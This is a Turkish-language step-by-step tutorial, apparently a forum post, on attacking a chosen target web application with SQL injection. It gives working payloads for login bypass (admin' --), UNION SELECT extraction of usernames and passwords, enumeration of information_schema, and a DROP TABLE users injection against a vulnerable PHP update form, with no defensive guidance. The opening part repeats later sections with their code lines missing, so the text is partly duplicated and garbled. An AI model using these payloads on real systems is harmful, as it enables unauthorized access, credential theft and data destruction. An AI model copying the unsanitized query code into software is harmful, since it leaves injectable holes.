1. Hedefi Belirleme
Hedef web uygulamasını seçin ve SQL Injection için uygun bir giriş noktası belirleyin. Bu genellikle bir arama kutusu, kullanıcı adı ve parola girişi, URL parametreleri veya form alanları olabilir.
Eğer bu giriş veritabanı hatasına neden olursa, hedefte SQL Injection açığı olma ihtimali vardır.
4. Login Bypass (Giriş Atlatma)
Giriş doğrulamasını atlatmak için SQL Injection kullanın. Kullanıcı adı ve parola alanlarına şu girişleri deneyin:
Kullanıcı Adı:
Parola: (boş bırakın)
Bu giriş, aşağıdaki SQL sorgusunu oluşturur:
Bu, SQL sorgusunun geri kalan kısmını yorum satırı olarak kabul eder ve "admin" kullanıcısı olarak giriş yapmanıza olanak tanır.
Örnek:
URL parametresinde SQL Injection testi:
Bu sorgu, ürün bilgileri yerine kullanıcı adları ve parolalarını döndürebilir.
6. Veri Manipülasyonu
Veritabanındaki mevcut verileri değiştirmek için SQL Injection kullanın.
Örnek:
Bir güncelleme formunda SQL Injection:
Form verilerini şu şekilde değiştirin:
Bu, users tablosunu düşürür.
Örnek:
Bu sorgu, veritabanındaki tablo isimlerini döndürebilir.
Hedef web uygulamasını seçin ve SQL Injection için uygun bir giriş noktası belirleyin. Bu genellikle bir arama kutusu, kullanıcı adı ve parola girişi, URL parametreleri veya form alanları olabilir.
2. Basit Testler
Hedefte SQL Injection açığı olup olmadığını test etmek için bazı basit girişler deneyin. Örneğin, kullanıcı adı veya URL parametresine tek tırnak (') ekleyin.Eğer bu giriş veritabanı hatasına neden olursa, hedefte SQL Injection açığı olma ihtimali vardır.
3. SQL Sorgusunu Anlama
Hedefte kullanılan SQL sorgusunu anlamaya çalışın. Örneğin, bir giriş formu aşağıdaki gibi bir SQL sorgusu kullanabilir:
Kod:
SELECT * FROM users WHERE username = '$username' AND password = '$password';
4. Login Bypass (Giriş Atlatma)
Giriş doğrulamasını atlatmak için SQL Injection kullanın. Kullanıcı adı ve parola alanlarına şu girişleri deneyin:
Kullanıcı Adı:
Kod:
admin' --
Parola: (boş bırakın)
Bu giriş, aşağıdaki SQL sorgusunu oluşturur:
Kod:
SELECT * FROM users WHERE username = 'admin' --' AND password = '';
Bu, SQL sorgusunun geri kalan kısmını yorum satırı olarak kabul eder ve "admin" kullanıcısı olarak giriş yapmanıza olanak tanır.
5. Veri Çalma
Veritabanındaki bilgileri elde etmek için UNION SELECT ifadesini kullanarak SQL Injection yapın.Örnek:
URL parametresinde SQL Injection testi:
Kod:
http://siteadi.com/products.php?id=1' UNION SELECT null, username, password FROM users --
6. Veri Manipülasyonu
Veritabanındaki mevcut verileri değiştirmek için SQL Injection kullanın.
Örnek:
Bir güncelleme formunda SQL Injection:
Kod:
<?php
$id = $_POST['id'];
$new_price = $_POST['new_price'];
$query = "UPDATE products SET price = '$new_price' WHERE id = '$id'";
$result = mysqli_query($conn, $query);
?>
Form verilerini şu şekilde değiştirin:
- ID: 1; DROP TABLE users --
- New Price: 100
Kod:
UPDATE products SET price = '100' WHERE id = '1'; DROP TABLE users --';
7. Veritabanı Yapısını Keşfetme
Veritabanının yapısını ve tablo isimlerini keşfetmek için SQL Injection kullanın.Örnek:
Kod:
http://siteadi.com/page?id=1' UNION SELECT table_name, null FROM information_schema.tables --
Bu sorgu, veritabanındaki tablo isimlerini döndürebilir.




